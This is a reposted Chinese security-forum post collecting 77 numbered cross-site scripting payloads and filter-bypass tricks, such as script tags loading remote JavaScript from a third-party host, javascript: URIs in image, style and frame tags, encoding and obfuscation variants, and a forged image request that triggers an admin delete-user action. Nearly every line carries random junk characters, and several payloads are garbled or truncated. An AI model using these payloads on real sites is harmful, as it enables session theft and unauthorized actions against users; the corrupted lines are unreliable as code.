貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
" {7 k6 }' q& _: a, h5 C$ e
) H) a( P& j+ v7 a) z) u6 l (1)普通的XSS JavaScript注入# K* i- i7 N2 A* V9 ~
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
- Q0 H) [+ s+ L
* E6 c" A. L$ I) @/ I) I% T$ a (2)IMG标签XSS使用JavaScript命令 c. e8 V% _- R1 g" ]
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>& t5 ?1 W1 z3 f1 ? p" E6 G
+ H1 L: u+ o& n
(3)IMG标签无分号无引号; \! Q- l" S& t) d
<IMG SRC=javascript:alert(‘XSS’)>
) \+ D& {+ p5 g- d- \+ c7 G, g3 Z) Y9 u, q4 _" p1 [9 @* `2 v3 L+ T2 n
(4)IMG标签大小写不敏感
6 Y) ~& n% }& K M9 M% }" z <IMG SRC=JaVaScRiPt:alert(‘XSS’)>
" I8 S( T8 o; g' g7 {( v, L( }' ]0 I7 L6 k$ g
(5)HTML编码(必须有分号)5 }1 Z" Y, V/ x5 K9 H
<IMG SRC=javascript:alert(“XSS”)>/ z2 S, _/ R3 a! t- f D; c6 T
) Q% S: s, t# `3 P
(6)修正缺陷IMG标签1 D2 s, j) @3 ~ R( `: ?8 x
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>! P# \% G! T! c8 A0 ^" D- T
) G. c R4 x4 m; R
(7)formCharCode标签(计算器)
+ U9 t- L: r) _. d5 ?4 v% X. V- h$ I <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>4 p2 z5 d/ l/ l# [
: F% j) [( z- i1 O. e M. K
(8)UTF-8的Unicode编码(计算器), s9 J t+ a" S; Q! F
<IMG SRC=jav..省略..S')>
6 `3 I G* ]! t4 S: |4 I7 `8 q
$ ~' _* n6 ^4 _" q (9)7位的UTF-8的Unicode编码是没有分号的(计算器)# V# }# `2 f. |- t
<IMG SRC=jav..省略..S')>
3 P' `& j5 O& [0 f% Z' d* H, Z' [8 z3 l
(10)十六进制编码也是没有分号(计算器)2 t/ B. q; C P i( o
<IMG SRC=java..省略..XSS')>) {7 f. n2 w4 Q5 p
$ ^' z+ Z! V: k; o: B% y (11)嵌入式标签,将Javascript分开6 `. w+ h8 d. U9 E5 ?. t5 F
<IMG SRC=”jav ascript:alert(‘XSS’);”>% a# ^& ~: i1 Z" f8 m2 T1 G
) V; X' L; v, Q7 `
(12)嵌入式编码标签,将Javascript分开$ H. I! J) i* |# [5 R5 L3 G
<IMG SRC=”jav ascript:alert(‘XSS’);”>
& }8 u0 C" h* A( L: b# q& J! t" h. x2 K$ X% t' N: B. O& V
(13)嵌入式换行符
: P4 l* ]) A5 V y7 f( F$ s <IMG SRC=”jav ascript:alert(‘XSS’);”>) [1 I2 B! i0 @/ T4 P" G
% x7 A8 h( e( o) @ (14)嵌入式回车
" X3 G! s6 u9 d/ W5 g; b <IMG SRC=”jav ascript:alert(‘XSS’);”>+ z9 s* m2 ]- i! ]5 E
3 z7 r+ b- V: b7 N# \0 f (15)嵌入式多行注入JavaScript,这是XSS极端的例子+ Q0 L( ]5 o$ Z: l. J
<IMG SRC=”javascript:alert(‘XSS‘)”>
( r" |8 F0 B) V7 d
8 Y7 Z# i9 M3 q (16)解决限制字符(要求同页面)4 m0 `0 E" x3 W& h3 x
<script>z=’document.’</script>
# l* @8 ]/ s, V2 E% ` <script>z=z+’write(“‘</script>% S% n% W$ |( i# A3 H
<script>z=z+’<script’</script>: S" e- M; k# j0 K# g
<script>z=z+’ src=ht’</script>5 j0 m' W5 V5 c
<script>z=z+’tp://ww’</script>
$ O" ?0 ^% r8 o7 g2 h. g6 ]0 G% Y, v: b <script>z=z+’w.shell’</script>
: W( F( t$ q6 w3 i+ Q I <script>z=z+’.net/1.’</script>
& }5 W, M/ b6 s, H <script>z=z+’js></sc’</script>& P; c% E8 n. C& {
<script>z=z+’ript>”)’</script>
& v9 A1 ~/ {4 X% J; ` D <script>eval_r(z)</script>
% [: R! `: `7 w* G3 n S- Q
' P9 t7 E- ~! D4 V (17)空字符# R2 t, s0 f% c1 @& o1 m4 T
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
. ^$ ^- V5 i- U4 u/ l2 v" j0 \( z2 {1 g- {
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用% \- W" ]2 G Y1 U5 n3 E, b3 F
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
- h3 p0 C ?, _3 {0 W& F s( Y7 _8 e/ p( c3 a0 Z4 b6 V
(19)Spaces和meta前的IMG标签
# Y* }2 D h, ?3 X0 i; y5 u <IMG SRC=” javascript:alert(‘XSS’);”>& f7 b" p4 H! z `! Y; L
" h5 j2 m/ }9 S3 u (20)Non-alpha-non-digit XSS Q. p* m" o$ N9 g/ e+ G5 C
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>: ]6 |- S$ A" x" `* X% J; l
: j. T/ z" o) \$ I# l1 A
(21)Non-alpha-non-digit XSS to 2
q0 I( ^! V2 z) ?, a <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>8 _7 e& n& }% c) S" o1 f [
& P" _% V, B9 j& _( L' `" g5 g" l
(22)Non-alpha-non-digit XSS to 3
8 {' q+ p+ D" {' B* `# i <SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
4 g k% U! N6 ?' V$ f" U
% ]& ^' l" U _' ]6 e( O (23)双开括号
4 Z3 B2 A8 b. H2 A# _ <<SCRIPT>alert(“XSS”);//<</SCRIPT>
+ `) ]: r9 m9 g9 b+ ~+ r- E' w7 I; n9 K7 g7 q
(24)无结束脚本标记(仅火狐等浏览器) ^& g& k7 _6 l4 f2 U
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
5 J4 C' @# d5 H: m* l" a; }. z1 g& \/ |
(25)无结束脚本标记2
/ W, ~9 l( |2 t# O <SCRIPT SRC=//3w.org/XSS/xss.js>
( [% y; ]* x/ j0 b: O! H8 d y! x2 P ]: M$ X3 f
(26)半开的HTML/JavaScript XSS
3 k( F0 N* [6 p" q4 U* I <IMG SRC=”javascript:alert(‘XSS’)”
: L$ {9 Y* ?! \/ W0 T% n8 r/ v/ Y+ ^! k8 E
(27)双开角括号
. j4 J9 C. b1 ]9 j, M <iframe src=http://3w.org/XSS.html <' d( \' Q4 L M* \: m0 M; d3 H' n
2 V2 [* H/ f! j7 \ o5 [- Y: g (28)无单引号 双引号 分号
6 _, m1 f( F% s7 u7 M. x" M- C <SCRIPT>a=/XSS/; @. l0 W, e6 }9 V
alert(a.source)</SCRIPT>! x! {8 y8 K9 f5 y
# i f% w b, C1 F8 I; M2 f
(29)换码过滤的JavaScript
$ X: y' N+ `/ z \”;alert(‘XSS’);//
/ I9 [0 W+ j7 `9 W0 N0 Q4 d9 E) k4 }, [5 A: J3 U+ f1 y
(30)结束Title标签
. |- c: V5 u5 U1 x+ S </TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
- H7 a0 l7 f# G& [+ a2 X
( `( @! r0 H7 M (31)Input Image0 z/ o- E) j( _+ t P$ C
<INPUT SRC=”javascript:alert(‘XSS’);”>
6 w/ M; _9 n& y& |6 ~
* u' w% W/ v/ b4 I8 F( G# h! H (32)BODY Image' [7 a0 K* J6 r9 O/ H r( p8 _0 T
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>" ]7 F3 h% b( Z1 ?3 r0 t
, d3 ?# S; [) o/ \+ ? u
(33)BODY标签3 U9 f7 |, `) R" N
<BODY(‘XSS’)>
. W% X S4 t' k. m+ l* j' O& X
& O1 i5 M4 A6 w0 @/ s7 q6 m (34)IMG Dynsrc
0 ?2 Q) F# C' A4 O$ k3 S, M <IMG DYNSRC=”javascript:alert(‘XSS’)”>
: J' i+ F! r7 H
7 s, v6 Q0 V8 y' c! @2 A (35)IMG Lowsrc4 M/ K8 Q7 w/ d' \0 \+ O9 s
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
Q0 i( U$ u; T# i Q2 N- u( R+ ^: R6 _ h. d4 q
(36)BGSOUND
N2 m3 E- Z" V$ V <BGSOUND SRC=”javascript:alert(‘XSS’);”>% E- A6 @& @# m& ^5 u D
5 ^4 w1 n/ c# Y8 A0 ~. U4 ^
(37)STYLE sheet" ]" N! D2 S2 w- q( A; c
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>9 g4 a# h6 G/ Z( v2 q. O) L. V
6 k' m* e/ s" n+ p6 v1 D (38)远程样式表
- O+ \% F; p2 y; V; S <LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”> I5 k$ v2 a7 g3 D3 A" A
/ A6 ?; F& ], o; \& j8 t+ w' l0 Y
(39)List-style-image(列表式)
9 d9 f* Z5 f: s1 i) A/ A/ b/ p <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS) p. l. R) r4 z# v
$ |, S6 M: v0 i (40)IMG VBscript- Y; b' Y D: d0 i! D- ~$ Z& T
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS) r* L" X- E0 t' Q
3 ?, q0 x" A" y (41)META链接url" |1 Z6 o2 v+ I8 u
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
2 C) w4 M K, Y8 H$ J' O& d% J+ v o
(42)Iframe
( O% f9 Z+ ?8 F* L9 z% O- I3 d$ ]3 Y <IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME> g0 O2 e! n l) @5 e% l9 d8 C
6 o2 L) ], |; i
(43)Frame$ x- c& w0 i4 ~. w! e
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>. ^7 H/ i, S# }) T7 ~% P
* V3 \3 W& O! a0 T1 s, E0 w3 Q1 T
(44)Table
9 z- N* _. q- V, @ <TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
# K7 C- t* {- U# f; v. Z/ B% }% \% _1 i' U/ B C6 k
(45)TD3 t: o% [+ ~$ f8 x' |
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>; u7 k- b1 d0 h$ ?5 X3 P( v
/ I' K6 N d4 c O) m" p
(46)DIV background-image
' p3 H T- S) I( _; C! M. f+ F, g <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>' S& g. Q3 p" S( H1 U
5 D& I- w, r4 U6 H& Q
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
+ D7 m |! h) s3 L& @ <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
, q: z$ J0 A, g& r9 k+ J T2 R( u6 ~
(48)DIV expression
" v! R9 ~7 R* }2 o: d <DIV STYLE=”width: expression_r(alert(‘XSS’));”>8 K* v3 L) i' o9 }% A' Y; w8 I, m8 S
& n) L+ m) f/ U5 m$ |* W
(49)STYLE属性分拆表达' h7 W2 Y: D8 Y6 L
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>' V. E: T& a! ?: L) D
* k/ ^4 h* q; a. W0 n. v
(50)匿名STYLE(组成:开角号和一个字母开头)" C; h7 y. r) B& Q* i) q5 g. ~
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>" W/ |, `) }1 S8 H
4 ]+ q% }/ u( h3 x/ X (51)STYLE background-image7 f7 x. n3 X2 k! M0 A9 b4 b
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>0 Q' \% G& R5 |, Z2 t1 v
" d: ^; @3 }. q3 ?% x8 G (52)IMG STYLE方式, Q' j8 [& |8 L, N/ T
exppression(alert(“XSS”))’>3 V$ d6 j3 E) K8 V2 w
+ i" N* T; s9 E( e5 N+ I8 X (53)STYLE background
- ]6 P! c9 ]) z; z/ J- M1 D4 s <STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>% G# S! ]7 ~6 a& e; @
* k5 D$ h/ Q4 k9 v (54)BASE# O, G" d& H7 m5 T+ V7 i
<BASE HREF=”javascript:alert(‘XSS’);//”>
& b& _ L/ i. H& n0 h
/ G( H: f( \+ i0 ]! f; Y (55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
% ]! e" R- o! t3 i" I <EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
5 e( U1 K0 I8 J. U- _8 X1 m% m6 y _
(56)在flash中使用ActionScrpt可以混进你XSS的代码% z# S% c+ [8 v/ U9 k+ P5 l, S
a=”get”;) _; a7 q) {) h& k; w7 } H: d
b=”URL(\”";
0 [3 `! E0 r0 v/ p0 d- h8 ~ c=”javascript:”;5 J) _+ U9 U, B2 Q f" X0 h
d=”alert(‘XSS’);\”)”;. U) w( N, W5 p) [- ^
eval_r(a+b+c+d);
5 L3 E, G. k1 p) n, v2 t
7 {* E& ~3 W$ p# p9 ?# Y& q (57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上2 I3 O) t# s- K; r) u4 n
<HTML xmlns:xss>
& C; w5 @5 y3 p6 k <?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
! m/ A' }) R: U+ H0 R1 d J+ c <xss:xss>XSS</xss:xss>! s& m! ]5 p( {2 j* z# u6 \
</HTML>
9 Z: m4 R; k; S+ T& t+ ~4 q3 z- U @2 D" y+ x
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
0 z" ?( V, Z, G# n0 n% a$ {: P <SCRIPT SRC=””></SCRIPT>3 }% @. w" N3 _6 S
L; \/ _4 b' Z: i (59)IMG嵌入式命令,可执行任意命令
, t5 u/ P' `& d$ h8 @ <IMG SRC=”http://www.XXX.com/a.php?a=b”>
: o6 X' i) F/ P8 M2 r9 W/ h: X: }( U& p; W) i1 p. J0 ]
(60)IMG嵌入式命令(a.jpg在同服务器)
! m! P" t2 i0 X* p3 c. v4 c5 O Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser* @: Z0 B- \) t7 ^$ @
@" p. y; i$ y6 G9 G1 ^2 M (61)绕符号过滤
+ Z( S# ~4 {8 H, M$ J* O <SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
0 W f* X$ Q4 A- X) |, `! |) O9 F0 M: N+ m& K: E) N# b. l) h
(62)
$ A3 I! R4 ]' K9 j& W% u { <SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>" w& u1 o, h, `0 s+ p& c
8 x- @& Q& X/ ` V5 O
(63)- f, |1 u! g/ e9 b( Y* E
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
2 f1 g8 J' C% l1 t: S Y6 m; U0 {
" U, P3 |+ c5 N( B2 p (64)5 a/ H( Z7 ]0 ^( j T8 e9 P
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
% K7 f) m1 _) g o# D. D$ x
. ~! }& J' v0 ~ (65)0 Q8 u7 }: g; K* T+ y
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>; T% n" H$ ]8 G+ F& n# v
1 C% t- n7 z* P8 o- s$ g1 K
(66)
, G" ?& t( D @1 Y! c; R <SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
, q! ]: @9 m! t. l' l9 V
) a- P. y; O9 G2 r (67)
& U5 `5 y4 N" V- ~: ~ <SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
+ o2 B- q) r/ I" E: j9 L& `& Y9 o8 f7 z/ k8 K6 G
(68)URL绕行6 y; O' _% r" f3 Y: B% t
<A HREF=”http://127.0.0.1/”>XSS</A>& u. u4 f! s; @8 ~% s7 A( K6 s
9 a! R P0 O( e1 T( D% L
(69)URL编码0 N5 B( f9 p( s8 l/ c- o
<A HREF=”http://3w.org”>XSS</A>! c8 g& Q* B5 k
: Q5 [) ]% S s6 t
(70)IP十进制
5 j# E( n& f4 C4 C# u! ~ <A HREF=”http://3232235521″>XSS</A># i( s6 H% Y6 ?6 o' w
* f7 _4 W: L' i; q7 [: s+ E (71)IP十六进制) i J9 E ?& k
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
1 T" ~; ^2 D: b- `0 t- Y- i+ f" V' i% u$ m' ^) f0 n: B
(72)IP八进制3 u2 {8 M; p* T, E6 Q
<A HREF=”http://0300.0250.0000.0001″>XSS</A>
7 Z* C6 W8 s" x& O7 G0 g
/ g. b n! E- e$ ` (73)混合编码! H; E8 E0 k0 Z ~
<A HREF=”h
$ d$ w- c* @' Q4 p tt p://6 6.000146.0×7.147/”">XSS</A>
1 @+ _$ q g- g1 ]; ^+ m6 A% t0 o) {) f. V0 m
(74)节省[http:]
$ C& l2 \, y; o4 h5 D <A HREF=”//www.google.com/”>XSS</A>. R' n1 Z* R7 g# e8 h& l: s0 a
. N, z# J% Q% F- Z! |* m: q+ C
(75)节省[www]/ L v& t g. @1 s
<A HREF=”http://google.com/”>XSS</A>
$ m4 O. X$ s9 ~' ?
, U# M, i- I" S( ^4 { (76)绝对点绝对DNS
6 z* B- ]! q+ S, W1 A3 c4 Z <A HREF=”http://www.google.com./”>XSS</A>
' [+ n1 A: @. ?* \7 a; d, e4 k( ]+ O7 V5 }- m& @
(77)javascript链接
7 v9 P% q e9 _6 b <A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A> |